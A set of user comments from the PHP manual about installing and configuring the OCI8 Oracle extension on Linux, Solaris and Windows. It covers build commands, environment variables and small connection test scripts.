Typically, you won't need at all those complicate setups you'll read about and they'll probably make things harder. I suggest you get Systernal's "Filemon" utility (for Windows, in Unix you may do with strace) and find out what exact config files and DLLs are being tried by php.exe (or httpd.exe if PHP runs as Apache module or...). Pretty often, the issue is that (e.g.) TNSNAMES.ORA does not have the correct line ending or Apache is looking for a DLL that does not even exist in your hard disc; learning that prevents you to waste time adding more and more useless environmental variables.

Goog luck.
mike at macgirvin.com 20-May-2008 06:05
Some notes to save somebody some grief:

Installing the Oracle libraries and access module into an existing PHP5 installation on Debian etch without rebuilding php...

First grab the Linux instantclient from oracle.com - you'll also need the client SDK kit. Here I'm using instantclient 11.1

create a directory for these such as /home/oracle and unpack both of them to that directory.

Go into the oracle directory (and into the instantclient_11_1 directory) and create a symlink:

$ ln -s libclntsh.so.11.1 libclntsh.so

Grab the oci8 PECL package and unpack it somewhere (~/oci).

Make sure you have the following packages (in addition to php5, php5-cli, apache2, etc).

  php5-dev

  libaio1

  php-pear

Go to the oci8 directory (~/oci/).

You need to run 'pecl build' once to create the configure script.

$pecl build

But the problem is that pecl build will claim the files are installed and they are not. I wasted half a day on this one. Now go into the oci8-1.3.0 directory and build again by hand:

$ cd oci8-1.3.0

$ ./configure --with-oci8=instantclient,/home/oracle/instantclient_11_1

$ make

Fix any errors/warnings before continuing

Don't make install, which won't work.

$ cp ./modules/oci8.so /usr/lib/php5/20060613+lfs

Replace 20060613+lfs with whatever module directory has been setup for you in /usr/lib/php5

Create /etc/php5/conf.d/oci8.ini:

----

extension=oci8.so

----

Now run the php cmdline in verbose mode (php -v) and see if everything loaded. Fix it if it didn't.

You may need some env variables setup in your /etc/init.d/apache2 file to make everything work and actually execute queries, but a phpinfo() at this point should show your oci8 extension. See the php.net Oracle pages if you need help with the env variables.

Restart the web server

$ /etc/init.d/apache2 restart
ashnazg at php dot net 19-Dec-2007 10:51
Do not underestimate the importance of NLS_LANG in your environment.

The Oracle error "ORA-03106: fatal two-task communication protocol error" is indicative of not having NLS_LANG set.

In my case, I had a successfully processing INSERT statement followed by a failing SELECT statement that was resulting in that ORA-03106 error.  The successful INSERT implied that all Oracle environment settings were fine.  Ultimately we found that the NLS_LANG was not set, and I have to assume that only the SELECT of data back from the database actually _needed_ it, and therefore it was the SELECT statement that triggered the failure.  Though, that is all speculation.
david dot reynoldsat at ipl dot com 10-Apr-2007 07:56
I had a problem loading php_oci8.dll with php 5.2, Apache, and windows XP - a module not loaded error, on every apache restart.
I eventually found that I had to add the oracle instantclient library path to the %PATH% under SYSTEM and not under USER.  Doing that, and then rebooting, fixed the error - as Apache is starting as a service (outside the user setup).
James VL 28-Feb-2007 10:49
re: Andrei Kubar

I was using Oracle Instant Client on Windows XP, and was getting the

PHP Startup: Unable to load dynamic library 'C:\php\ext\php_oci8.dll' - The specified module could not be found.

error at startup, even though I had done all (most?) of the PHP and Oracle setup routines.

For me it wasn't the lack of mfc*.dll files, but a simple PATH issue: in addition to defining the environment variable TNS_ADMIN, I had to include my instant client directory in my PATH.
jay dot couture at gmail dot com 06-Dec-2006 03:26
# Here's what it took to get it going for me on Red Hat on
# x86_32 w/ 10gr2 and php5.1.2
# I sincerely appreciate all of the other poster's notes.
# It was a combination of a few
# of them to get mine configured. My note should reflect this:

# install the instantclient basic and sdk like this
# note: the original poster had you install into a lib subdirectory,
# but when I tried this it couldn't find the sdk files. So I moved
# the files in lib into the parent directory as
# shown below. Actually I copied them, YMMV
mkdir -p /usr/lib/oracle/10.2.0.2/client
unzip -jd /usr/lib/oracle/10.2.0.2/client
    instantclient-basic-linux-x86-32-10.2.0.2-20060331.zip
mkdir -p /usr/include/oracle/10.2.0.2/client
unzip -jd /usr/lib/oracle/10.2.0.2/client
    instantclient-sdk-linux-x86-32-10.2.0.2-20060331.zip
ln -s /usr/lib/oracle/10.2.0.2/client/libclntsh.so.10.1
    /usr/lib/oracle/10.2.0.2/client/libclntsh.so

# make the full client use instantclient's files
cd /app/oracle/product/10.2.0/db_1
mv lib oldlib
ln -s /usr/lib/oracle/10.2.0.2/client/lib lib
ln -s /usr/include/oracle/10.2.0.2/client include

#php configure line is:
    ./configure --with-oci8=instantclient,/usr/lib/oracle/10.2.0.2/client

# I had to do this, or the OCI8 would not compile when
# I ran make on PHP5.1.2 I did not do this originally when I
# had the files in the lib sudirectory (see my note above) so
# that may be the true issue.
export LD_LIBRARY_PATH=/usr/lib/oracle/10.2.0.2/client:$LD_LIBRARY_PATH

make

make install

#In apache2 edit the envvars and add
LD_LIBRARY_PATH="/usr/local/apache2/lib:
    /usr/lib/oracle/10.2.0.2/client:$LD_LIBRARY_PATH"
TNS_ADMIN="/usr/lib/oracle/10.2.0.2/client"
LANG=en_US
export LD_LIBRARY_PATH LANG TNS_ADMIN

#Restart Apache

Jay
rainer dot klier at gmx dot at 22-May-2006 02:08
estoreic (note from 15-May-2006 10:54) is right.

there seems to be a problem with the oci8-api-functions in php 4.4.x.

there are error-messages like these in the error_log:
child pid 22297 exit signal Segmentation fault (11)
*** glibc detected *** double free or corruption (out): 0x00000000019f4730 ***
*** glibc detected *** double free or corruption (!prev): 0x0000000001111d90 ***
*** glibc detected *** corrupted double-linked list: 0x0000000001111d50 ***

using php 4.4.x with oracle 10.x is impossible, until you do the following:
1. download latest oci8-package from http://pecl.php.net/package/oci8
2. extract package somewhere
3. go to php-4.4.x-source directory
4. rm -rf ext/oci8
5. cp extraceted oci8-1.2.x directory to/as ext/oci8
6. make distclean
7. ./buildconf --force
8. ./.configure (with the options you need)
9. make
10. only for x86_64:
create pear-install.ini:
-----------------------------------------------
[PHP]

memory_limit = 128M      ; Maximum amount of memory a script may consume (8MB)
------------------------------------------------

11. edit Makefile:
replace:
PEAR_INSTALL_FLAGS = -n -dshort_open_tag=0 -dsafe_mode=0
with:
PEAR_INSTALL_FLAGS = -cpear-install.ini -dshort_open_tag=0 -dsafe_mode=0

12. make install

have fun!
oracle connections will work now!
f dot kheiri at ucl dot ac dot uk 29-Apr-2006 07:40
To compile PHP 4.4.2 with OCI8 / Oracle 9i / AIX 5.2 (64-bit) / GCC

PHP will automatically compile against the Oracle 64-bit libraries, which PHP being a 32-bit app, will cause "make" to fail (though it will configure fine). Here's how to avoid this:

1. replace your PHP's ext/oci8 directory with the latest ext/oci8 directory downloadable from PECL - then remove the old directory entirely

2. rebuild configure by running:

./buildconf --force

...in PHP's root directory. This will rebuild the configure script.

3. using a tool like sed, in your configure file replace all instances of /path/to/oracle/lib with /path/to/oracle/lib32 - note, this may require GNU's autoconf, m4 and gnumake.

4. export LD_LIBRARY_PATH=/path/to/oracle/lib32

5. ./configure --with-oci-8=/path/to/oracle (and any other options)

Then, the usual make and make install.
25-Apr-2006 03:29
# here's what it took to get it going for me on rhel4 on x86_64 w/ 10gr2 and php5.0.5
# hopefully this will save someone a little grief
# first you must install the 10.2 full client in /app/oracle/product/10.2.0/db_1
# follow all the instructions. This part will be a bitch.

# install the instantclient basic and sdk like this
mkdir -p /usr/lib/oracle/10.2.0.2/client/lib
unzip -jd /usr/lib/oracle/10.2.0.2/client/lib instantclient-basic-linux-x86-64-10.2.0.2-20060228.zip
mkdir -p /usr/include/oracle/10.2.0.2/client
unzip -jd /usr/lib/oracle/10.2.0.2/client instantclient-sdk-linux-x86-64-10.2.0.2-20060228.zip
ln -s /usr/lib/oracle/10.2.0.2/client/lib/libclntsh.so.10.1 /usr/lib/oracle/10.2.0.2/client/lib/libclntsh.so

# make the full client use instantclient's files
cd /app/oracle/product/10.2.0/db_1
mv lib oldlib
ln -s /usr/lib/oracle/10.2.0.2/client/lib lib
ln -s /usr/include/oracle/10.2.0.2/client include

php configure line is: --with-oci8=/app/oracle/product/10.2.0/db_1/
soef at tjah dot net 03-Mar-2006 12:04
To install this in gentoo linux you will need to do some weird stuff:

-  Make sure you have this use flags set: "dba cli pcre xml zlib oci8-instant-client"
- Unmask PHP (5.1.1) by placing "dev-lang/php ~x86" in /etc/portage/package.keywords
- Unmask oracle-instantclient-basic (10.2.0.1-r1) by placing "dev-db/oracle-instantclient-basic ~x86"
- Download oracle files from "http://otn.oracle.com/software/tech/ oci/instantclient/htdocs/linuxsoft.html" (You have to make an account and login, in order to download the packages:

    * instantclient-basic-linux32-10.2.0.1-20050713.zip
    * instantclient-sdk-linux32-10.2.0.1-20050713.zip

- Place the downloaded packages in "/usr/portage/distfiles"
- "emerge apache dev-lang/php5" (If you done right, the build for the instantclient will be selected automaticly.
- Configure your "/etc/conf.d/apache2" to make sure you have "-D PHP5" in your "APACHE_OPTS"
scoop at subindie dot com 26-Oct-2005 01:27
Regarding compiling with the recently updated OCI8 Extension (http://pecl.php.net/package/oci8).

I ran into problems when statically compiling, such as numerous "undefined reference to `zif_oci_***'" errors.  Since I likely won't be the only one to run into this problem, here's some helpful hints:

If you've previously compiled your php installation, first: make clean

Then replace the existing php-x.x.x/ext/oci8 directory with the latest package from: http://pecl.php.net/package/oci8

./buildconf --force
./config ..
make
ben at onshop dot co dot uk 06-Jul-2005 08:51
I spent ages trying work out why I was getting the following message when when using ocilogon() on Windows 2000 using PHP 4 and 5:

ORA-03106 Fatal two-task communication protocol error

This problem is occurs when PHP cannot find ORACLE client environmental variables.

The environmental variables can be set in several ways:

1. Within the root 'Directory' directive on Apache httpd.conf:

<Directory "d:/path/to/webroot">
  SetEnv ORACLE_BASE "c:/oracle"
  SetEnv ORACLE_HOME "c:/oracle/ora81"
  SetEnv NLS_LANG "american_america.WE8DEC"
  SetEnv NLS_CHARACTERSET "WE8DEC"
  SetEnv NLS_NCHAR_CHARACTERSET "AL16UTF16"
</Directory>

or

2. Within Windows:

Go to the Control Panel>System>Advanced>Environmental Variables

Then enter a name value/pair for each of the variables.

3. Using putenv() statements in the PHP file prior to using ocilogon(). This is not ideal because the statements are required evertime you wish to connect to Oracle.
denis dot delamarre at chu-rennes dot fr 09-Jun-2005 10:00
php5 + Apache 2 + solaris 2.10 + oracle9i (64bits)

'./configure' '--with-oracle=/prod/dba/oraeve/ora9i' '--with-apxs2=/usr/local/apache2/bin/apxs' '--with-zlib' '--with-gd' '--without-mysql' '--with-oci8=/prod/dba/oraeve/ora9i'

fail with :
ld: fatal : fichier libclntsh.so : wrong elf class : ELFCLASS64

the solution is between ./configure and make command to edit Makefile and replace /ora9i/lib  with  /ora9i/lib32

all it's ok
MSapp 06-Jun-2005 06:48
Problems compiling 5.0.4 with Oracle Instant Client 10? (i.e. cannot find -lirc)

Remove the "-lirc" from sdk/demo/sysliblist and rerun configure.
tof 18-May-2005 05:15
If you want the change NLS_LANG (e.g.:  NLS_LANG="FRENCH_FRANCE.WE8ISO8859P1") don't forget to also set LC_ALL and LANG (e.g.: LC_ALL=french and LANG=french) else you'll have a ORA-01756 when you try to call ocilogon.
kucerar at hhmi dot org 23-Feb-2005 08:29
Great Solaris patch!  Finally built.  Here's some tips on connecting:

Just made this on solaris8 32bit, actually works.

1) put everything in one directory
2) unsetenv ORACLE_HOME
3) set the env vars LD_LIBRARY_PATH and SQLPATH and TNS_ADMIN(if you have it) to that directory.
4) use one of the other easy connection notations here

http://www.oracle.com/technology/
docs/tech/sql_plus/10102/readme_ic.htm

These env vars worked when put at the top of apachectl script as well.

To build you may have to fake it out with an ORACLE_HOME var,  but unset it later.  You may also have to fake out the build by putting header files where it is looking for them,  e.g. in the rdbms/demo directory or some such other place.

When running though,  make sure you have only the files required in only one directory.

Oracle has not put up a link to the 32bit solaris sqlplus--you have to guess it--it's there though:

http://download.oracle.com/otn/solaris/instantclient/
instantclient-sqlplus-solaris32-10.1.0.3.zip

...and don't forget to add ".world" on to the end of your SID. It's very common to have to specify DBNAME.WORLD to connect.
buswash at gmail dot com 02-Feb-2005 06:51
PHP 5.0.3 + Solaris 9 (UltraSPARC) + Apache 2.0.51 + Oracle 10g Instant Client 10.1.0.3

Thanks to Jakob's patch I got this combination working.  Here are some things that helped me:

1. After getting this:
ld: fatal: file /opt/oracle/instantclient/libclntsh.so: wrong ELF class: ELFCLASS64

I realized that PHP is a 32-bit application and that all 3rd-party libraries need to be 32-bit as well.  You need to download the 32-bit version of Instant Client (basic + sdk), even if you are running the 64-bit Solaris OS.

2. My patch command syntax was a little different:
patch -p0 -i php5_ociclient.patch config.m4

Thanks again to Jakob for porting the patch over to PHP 5.

Marc
Mark at catalyst dot net dot nzed 09-Aug-2004 08:28
ReCompiling PHP4 to have oracle 8 support (oci8) on Debian Linux, using the Oracle 10g client libraries. Log in as root.

PACKAGES REQUIRED:
php4-dev
php4 (source files)
php4 module (might not be required, but it's what i had installed at the time)

OTHER PACKAGE REQUIREMENTS:
Oracle Client Libraries (i used Oracle 10g Server, but you should be able to use, as has been previously said, any set of the oracle client libraries from 8i onwards).
* make sure this is installed before recompiling php4.

ENVIRONMENT REQUIREMENTS:
- export ORACLE_HOME=[where u installed the oracle client]
- export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$ORACLE_HOME/lib
- export LD_PRELOAD=libclntsh.so.10.1 (the version number at the end will correspond to the oracle version you previously installed. in my case, 10g is 10.1).
- vi /etc/ld.so.conf and add $ORACLE_HOME/lib to the list of paths.
then * run ldconfig to reload those changes to the system * (p.s. make sure it's the full path, and not using any environment variables. e.g. /u01/app/oracle/product/10gRDBMS is my ORACLE_HOME).

STEPS:
- cd /usr/src/[PHP4 Version]
in my case, [PHP4 Version] = php4-4.3.8, so path was
/usr/src/php4-4.3.8

- vi debian/rules
these are the default compilation rules for php4. Find section labeled COMMON_CONFIG = [...] and add --with-oci8 (it should be near the top of the file).

- debchange -i (allows you to edit the change log for the versions of php. btw - you should be in the php4 source code directory). give the version id something obviously unique. don't forget to add a comment.

when all is in readyness, then you should be able to go debian/rules binary to build the debian packages required.
the deb packages are built into the /usr/src directory. and depending on the default compilation options u choose, there should be a few. find the deb package that corresponds to the main php4 module (php4_4.3.8-4.mark.1_i386.deb for me), and run dpkg -i [package name] to install it.

- vi /etc/init.d/apache and add exports for $ORACLE_HOME, $LD_PRELOAD and $LD_LIBRARY_PATH

* don't forget to restart apache /etc/init.d/apache to reload the php4 module. *

IF YOU GET... :
if you get an error saying something about apache cannot load libclntsh.so.10.1, file not found, check the environment variables, for both the user, and in /etc/init.d/apache and also check ld.so.conf to make sure the $ORACLE_HOME/lib path is in there, and has been reloaded (with ldconfig).

editing ld.so.conf was the part that finally got it working for me.
as you should be able to tell, the steps are pretty much the same as for all oracle versions 8i onwards, and all linux OS's. but with a few debian specific paths and commands thrown in.
neogodo at yahoo dot com dot br 06-Aug-2004 06:15
Hey guys!!!!

 I have all these problems and when are solved a php show this:

_oci_server ORA-12159:connection text especified is too long

It's simple!!!

  In the TNSNAMES.ORA remove all space, tab, carriage return on the conection string and, wallah!!! All work fine!!!

  More info:

   PHP 5.0.0  with Oci8
   Apache 1.3

Regards,
Romolo (neogodo@yahoo.com.br).
DBA Oracle
Brazil - SP - Sao Paulo
mark at magpies dot net 05-Jul-2004 09:07
For those trying to use the Oracle Instant Client 10g in a win32 environment, heres a nice easy howto. If you fully read the docs properly and understand what your reading you will be able to set it up, but if like me you want a quick easy fix, heres how I did it.

1. Download and install the Oracle Instant Client to where ever (lets say  c:\ora\client  )
2. Add your connect info, copy a previously created or provided tnsnames.ora file to the above directory.
3. Change Path in the Environment Variables area to add this directory to the path. ie.  c:\ora\client;%SystemRoot%;<and so on>
4. Open regedit and add a Key called ORACLE to HKEY_LOCAL_MACHINE\SOFTWARE
5. To the ORACLE key add a string value called TNS_ADMIN and assign it the directory above (ie. c:\ora\client )  So you end up with KEY_LOCAL_MACHINE\SOFTWARE\ORACLE\TNS_ADMIN = c:\ora\client
6. Set php to use Oci8 extension and bobs your uncle
7. Reboot.

Option 7 was required as the oci8 extension or php wouldn't pick up the path change. Also my problem was how to use other programs like sqlplus without creating extra Environment Variables etc the TNS_ADMIN / tnsnames.ora part makes that simpler and allows you to call things the same as you would before.

PS: This should apply to all the Instant Clients. I haven't tried it with any others but 10g though.

Hope this helps.
ed000001 at hotmail dot com 01-Jul-2004 03:04
If you get your connectivity working with putenv on ORACLE_SID and ORACLE_HOME, but you do not want to use putenv because you want safemode on. You will need to pass these from your environment variables.  Somehow setenv in httpd.conf did not do the trick for me... the values are set but the connectivity does not work.  Then you will need to set the environment in your /etc/init.d/apachectl or /etc/profile and use a "PassEnv ORACLE_HOME ORACLE_SID" directive in httpd.conf so that these variables are picked up by php.

However, when you suexec in Apache 2.0, the server will only allow you to pass a given set of variables which are defined in the apache source code in the file apache-dir/support/suexec.c

In order to pass ORACLE_SID and ORACLE_HOME to PHP you need to add these to that file.  The relevant changed piece of code where I added "ORACLE_" looks something like this:

char *safe_env_lst[] =
{
    /* variable name starts with */
    "HTTP_",
    "SSL_",
    "ORACLE_",

    /* variable name is */
...

You will have to do a "make clean", "./configure", "make", "make install".  Do not forget to do the "make clean" or the apache changes will not be picked up.

Here is a nice php test script :)

<?php // test-oracle.php

    function dump_array($a_value)
    {
        reset($a_value);
        for ( $s_str = '' ; list($s_key, $x_value) = each($a_value) ;  )
        {
            $s_str .= "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".
                      "<span style=\"color:green\">[</span>$s_key<span style=\"color:green\">]</span> = ".
                      "<span style=\"color:red\">[</span>$x_value<span style=\"color:red\">]</span><br />";
        }
        reset($a_value);
        echo $s_str;
    }

#putenv("ORACLE_SID=ORTD");
#putenv("ORACLE_HOME=/u01/app/oracle/product/9.2.0.1.0");
$ORACLE_SID = getenv("ORACLE_SID");
$ORACLE_HOME = getenv("ORACLE_HOME");
echo "ORACLE_SID = $ORACLE_SID<br>";
echo "ORACLE_HOME = $ORACLE_HOME<br>";

    $cn = ociplogon('scott', 'tiger');
echo "cn = $cn<br />\n";
    $st = ociparse($cn, "select tname from tab");
echo "st = $st<br />\n";
    $ex = ociexecute($st,OCI_COMMIT_ON_SUCCESS);
echo "ex = $ex<br />\n";
    $mr = ocifetchinto($st,$xx,OCI_ASSOC);
    while ( $mr )
    {
        dump_array($xx);
        $mr = ocifetchinto($st,$xx,OCI_ASSOC);
    }
    $fr = ocifreestatement($st);
echo "fr = $fr<br />";
    ocicommit($cn);
    ocilogoff($cn);
?>
oddbec_no_more_spam_kthx at online dot no 24-Feb-2004 08:49
I had trouble with norwegian characters using oracle 8.7.1 / php 4something and Apache 2.

The only trouble was that '?' appeared instead of the norwegian characters.

The solution to it all was to add this to the apachectl script:

export NLS_LANG="norwegian_norway.WE8ISO8859P1"
export ORACLE_BASE="/home/oracle"
export ORA_NLS33="/home/oracle/ocommon/nls/admin/data"
export ORACLE_TERM="ansi"
export ORACLE_HOME="/home/oracle"
export LANG="no_NO"

I'm not sure if all of these are necessary, but I took no change, and it works now :)
lffranco *at* dco dot pemex dot com 17-Dec-2003 12:26
This took me a lot of time to solve, so I'm placing it here for my future reference, and for somebody who finds it useful. I don't know if it will work on your environment, this is what I have:

* Windoze Advanced Server 2003
* IIS 6
* Oracle 8.1.7

So how I configured the whole thing? First do whatever the standard PHP configuration says... it won't work, anyway... but it will help. I installed PHP on C:\PHP; Oracle Home is in E:\Oracle\ora817.

* Install Oracle 8 client. NOTE: You must use an Oracle 8 client, I used an Oracle 9 client and for some reason (dll binding I guess), it didn't work

* Copy $ORACLE_HOME/bin/cli.dll into $WINDOWS/System32

* Modify your SQLNET.ORA file and change the line:
[code]
SQLNET.AUTHENTICATION_SERVICES= (NTS)
[/code]

by this one:

[code]
SQLNET.AUTHENTICATION_SERVICES= (NONE)
[/code]

I dunno WTF NTS is, so if somebody sends me an eMail and explain, I'll be thankful. But if you don't do this you'll get an ORA-12560 error.

And that's it for Oracle. Now, the IIS configuration:

* Open your IIS Administrator and "Web Service Extensions", add a new extension as follows:
** Extension Name: PHP
** Required Files (ADD): C:\php\extensions\php_oci8.dll; c:\php\sapi\php4isapi.dll; c:\WINDOWS\system32\oci.dll
** Check "Set Extension Status as Allowed"

Now you can use your ocli* functions, or better yet, use PEAR::DB functions which was my ultimate goal, with PEAR::DB you can forget about declaring ORACLE_HOME, ORACLE_SID and all that kind of things. Just use:

<?php
$dsn = "oci8://scott:tiger@example"
$db = DB::Connect($dsn);
?>
aleigh at tessier dot com 16-Nov-2003 03:16
Warning: ocilogon(): _oci_open_session: OCIHandleAlloc OCI_HTYPE_SVCCTX: OCI_INVALID_HANDLE can also be caused by running the webserver with an ORACLE_HOME of a (radically?) different version than PHP was linked against.

I experienced this when I accidently used an Oracle 8 ORACLE_HOME for a PHP that was linked against Oracle 9.
aliquis at die dot spammers dot die dot link-net dot org 23-Oct-2003 06:39
I've had all kinds of errors with RedHat9(yuck), PHP 4.3.4RC1 and Oracle enterprice server 9.2. For some time I thought that --with-oci8 wouldn't work with Oracle9 but that wasn't the case, the solution was many steps.

1) install oracle, might require some tricks, on RedHat9 I had to put this in my .bashrc:
export ORACLE_BASE=/opt/ora9
export ORACLE_HOME=$ORACLE_BASE/product/9.2
export PATH=$ORACLE_HOME/bin:$PATH
export ORACLE_OWNER=oracle
export ORACLE_SID=netadmdb
export ORACLE_TERM=vt100
export LD_ASSUME_KERNEL=2.4.1
export THREADS_FLAG=native
export LD_LIBRARY_PATH=$ORACLE_BASE/product/9.2/lib:$LD_LIBRARY_PATH

2) compile php, use --with-oci8

3) Make an init-script for the oracle9 database server, as default the TNS listener doesn't run so add that on aswell, example:
#!/bin/bash
export ORACLE_HOME=/opt/ora9/product/9.2
export PATH=$ORACLE_HOME/bin:$PATH
export ORACLE_SID=netadmdb
export DISPLAY=:0
oracle_user=oracle
export oracle_user
case $1 in
start)
su - "$oracle_user"<<EOO
sqlplus /nolog<<EOS
connect / as sysdba
startup
EOS
/opt/ora9/product/9.2/bin/lsnrctl start
EOO
;;
stop)
su - "$oracle_user"<<EOO
/opt/ora9/product/9.2/bin/lsnrctl stop
sqlplus /nolog<<EOS
connect / as sysdba
shutdown immediate
EOS
EOO
;;
*)
echo "Usage: ora9 [start|stop]"
;;
esac

4) Configure Apache. For some reason it requires some tweaking with environment variables, in the begining I put those in the PHP-script with putenv, later in the httpd.conf with SetEnv and the mod_env module. But I was told to not do that and instead set them in the init script for Apache. So I copied apachectl to /etc/init.d and edited envvars in $APACHE_PATH/bin. First I added all kinds of env variables until I got it to work, and then I removed them one at a time and came to the following minimal configuration:
LD_LIBRARY_PATH="/usr/local/apache2/lib:$LD_LIBRARY_PATH"
ORACLE_HOME=/opt/ora9/product/9.2
LANG=sv_SE
export LD_LIBRARY_PATH ORACLE_HOME LANG

Earlier I had added NLS_LANG and TNS_ADMIN above those mentioned above (point 1), but it seems those aren't needed really. So no need for TWO_TASK or ORACLE_SID, only needed one is ORACLE_HOME and if you get missing/invalid option for your OCILogon set LANG to something else like I did. Someone earlier said it might have to do with UTF8.

So if you are sure lsncrtl are started and that you have the correct env-variables set in your $APACHE_PATH/bin/envvars you can just use something like:

$iDBConn=OCILogon("user","pass","netadmdb");

in your PHP-script and it should work.
Hope this helps someone.
lomax at arizona edu 25-Jul-2003 04:26
Can't compile php with Oracle 9i and apache on Solaris8?
Sun 280R

Using some of the tips below I had to add this:
(static build)

#!/bin/tcsh
setenv LDFLAGS -L$ORACLE_HOME/lib32

cd php-4.x.x/
./configure --with-oci8=$ORACLE_HOME --with-apache=/path/to/apache_src ..etc
make
make intsall

cd apache_src
(make sure environment variable is still set)
./configure  "--prefix=/usr/apache" "--enable-module=so" \
"--activate-module=src/modules/php4/libphp4.a"  ...etc
make
make install

Having the gcc compilier build php against oracle 32 bit libraries was the key, but without setting LDFLAGS the compiler defaults to using the 64-bit oracle libraries which cause the famous
"...wrong ELF class: ELFCLASS64.." on startup.

The only diffenece here was I didn't have to do play musical directories for it to work. The below post was instrumental in helping me to get this fixed. Thanks to "lore_giver at lycos dot co dot uk"
NOSPAMPLZ!esartoni at omniaglobal dot net 27-May-2003 03:12
I had a little problem with ocilogon but only with RedHat 8.0. It always returned some kind of error during connection like 'OCISessionBegin - ... invalid character', or 'OCISessionBegin - ... missing or invalid option in ...'

I have finally found what is this problem! You have to change your LANG enviroment variable disabling UTF-8. Example: LANG=en_US.UTF-8 should become LANG=en_US.
lore_giver at lycos dot co dot uk 20-May-2003 11:42
Running Oracle 9i on a
Solaris 9 (64 bit) platform with a Sun Server E250:
Apache version 1.3.27
PHP version 4.3.1

I was first getting "...wrong ELF class: ELFCLASS64.."
while doing a ./configure with the --with-oci8 and --with-oracle parameters.

After some unsuccessfull searched I renamed the $ORACLE_HOME/lib to $ORACLE_HOME/lib.org and then renamed the
$ORACLE_HOME/lib32 to $ORACLE_HOME/lib

Thereafter it went passed this config, but now failed on
not being able to find a libwtc9.so file which was in the
$ORACLE_HOME/lib directory  (this message was displayed in the debug.log in the php source directory).

After setting the Environment variable:
LD_LIBRARY_PATH=$ORACLE_HOME/lib
I was able to compile without any errors and 'make' and 'make install' ran smoothly.

I only had to add the php type in the httpd.conf (in your apache conf directory eg. /usr/local/apache/conf)..
AddType application/x-httpd-php .php
to get the php to work again...

I had to then reverse the $ORACLE_HOME/lib swop on top since php was now having problems with the 32 bit version of the library...so switched it back to 64 and my php script worked....

Hope this helps some out there with similar problems..

Cheers
09-Dec-2002 01:53
Configuring/Compiling PHP as a DSO with Oracle support from source on a Sun Solaris 8 box.  We had already installed Oracle 9.2.0 client tools.

1. Make sure the following tools are installed

    autoconf
    automake
    bison
    flex
    gcc
    make
    gzip

    They can be downloaded from http://www.sunfreeware.com.

2.  Make sure Apache is installed with DSO support.  We ran the Apache configure/compile like so:

    LIBS=-lpthread ./configure \
    --prefix=/usr/local/apache \
    --enable-module=most \
    --enable-shared=max

    make
    make install

3.  If you haven't already, install the Oracle client tools.
4.  Make sure the following environment variables are set correctly and are accessible by all users.  We set them in /etc/profile.

    ORACLE_HOME
    ORACLE_BASE
    NLS_LANG
    ORA_NLS33
    ORACLE_TERM
    LD_LIBRARY_PATH

    (technically, only $ORACLE_HOME is required, but you'll want to set the rest in order to make sure things run smoothly afterward)

5.  Make sure '/usr/ccs/bin' is in your path.  If not, add it.
6.  Unpack PHP source (php-4.2.3):

    gunzip php-4.2.3.tar.gz
    tar xvf php-4.2.3.tar
    cd php-4.2.3

7.  Run PHP configure like so :

    CC=gcc ./configure --with-apxs=/usr/local/apache/bin/apxs \
    --with-config-file-path=/etc \
    --with-mysql \
    --enable-ftp \
    --with-oci8=/path/to/ORACLE_HOME \
    --with-oracle=/path/to/ORACLE_HOME \
    --enable-sigchild

8.  Run make:  make
9.  Run this as root:  make install
10.  Change the LoadModule line in httpd.conf to include the fully qualified path.  For us:

    LoadModule php4_module        /usr/local/apache/libexec/libphp4.so

11.  Make sure the PHP files types are recognized in your httpd.conf file:

    AddType application/x-httpd-php .php
    AddType application/x-httpd-php-source .phps

12.  Test the configuration:

    /usr/local/apache/bin/apachectl configtest

    It should return "Syntax OK"

13.  Bounce Apache:

    /usr/local/apache/bin/apachectl restart

14.  Here's a simple PHP script to test the setup.  If you don't have access to the default tables Oracle provides, change the connections/tablenames/fields to match your setup:

    <?php

    $db_conn = ocilogon("scott", "tiger");

    $cmdstr = "select ename, sal from emp";
    $parsed = ociparse($db_conn, $cmdstr);
    ociexecute($parsed);
    $nrows = ocifetchstatement($parsed, $results);
    echo "Found: $nrows results<br><br>\n";

    echo "<table border=1 cellspacing='0' width='50%'>\n";
    echo "<tr>\n";
    echo "<td><b>Name</b></td>\n";
    echo "<td><b>Salary</b></td>\n";
    echo "</tr>\n";

    for ($i = 0; $i < $nrows; $i++ ) {
          echo "<tr>\n";
          echo "<td>" . $results["ENAME"][$i] . "</td>";
          echo "<td>$ " . number_format($results["SAL"][$i], 2). "</td>";
          echo "</tr>\n";
    }

    echo "</table>\n";

    ?>
john at john-warner dot com 20-Nov-2002 04:13
In addition to the earlier posts here is a further explaination;

Problem: Regular and Remote authentication does not work using Windows 2000 + PHP and Oracle 8i, 9i.

Secondary Issue if using Oracle 9.2.0.1
     When using Oracle 9.2.0.1 the Error structure returned by Oracle is different than expected by PHP. As a result there will be no legible error message other than the following;
     Warning: _oci_open_server: in ...

Using Oracle 9.0.1.1 the error message returned is any of the following depending on your situation;

Warning: _oci_open_server: ORA-12638: Credential retrieval failed in ...
Warning: _oci_open_server: ORA-12154: TNS:could not resolve service name in ...
Warning: _oci_open_server: ORA-12505: TNS:listener could not resolve SID given in connect descriptor in ...

Resolution:
In order to get this to work properly you need to do the following;
In reference to ORA-12638: Credential retrieval failed in ...
you need to edit your sqlnet.ora file and change the
SQLNET.AUTHENTICATION_SERVICES = (NTS) to
SQLNET.AUTHENTICATION_SERVICES = (NONE)
The reason is that using NTS validation on a Windows 2000 machine essentially means Kerberos.
Using (NONE) will tell oracle not to expect kerberos "Credentials" as a means of validation. In turn it will use the oracle authentication for a database user.

In reference to ORA-12154 and ORA-12505 you need to do the following;
In your php code you are using to connect you need to copy the section in tnsnames.ora
into a variable.
For example;
<?php
putenv("ORACLE_SID=TESTDB");
//putenv("ORACLE_HOME=/oracle/ora90");
//putenv("TNS_ADMIN=/oracle/ora90/network/admin");
$username = "scott";
$passwd = "tiger";
$db="(DESCRIPTION=
           (ADDRESS_LIST=
             (ADDRESS=(PROTOCOL=TCP)
               (HOST=yourTargetMachine)(PORT=1521)
             )
           )
             (CONNECT_DATA=(SERVICE_NAME=TESTDB))
      )";
$conn = OCILogon($username,$passwd,$db);
if (!$conn)
{
    echo "Connection failed";
    echo "Error Message: [" . OCIError($conn) . "]";
    exit;
}
else
{
    echo "Connected!";
}
...
?>
I left the ORACLE_HOME and TNS_ADMIN putenv lines commented out and your need for them depends on which web server you are using. If you are using Apache, you may need both.
If you are using Microsoft IIS you may need ORACLE_HOME. Putting it in can't hurt and it appears PHP may read them if they are there but either way you should be working at this
point.

Live long and prosper.
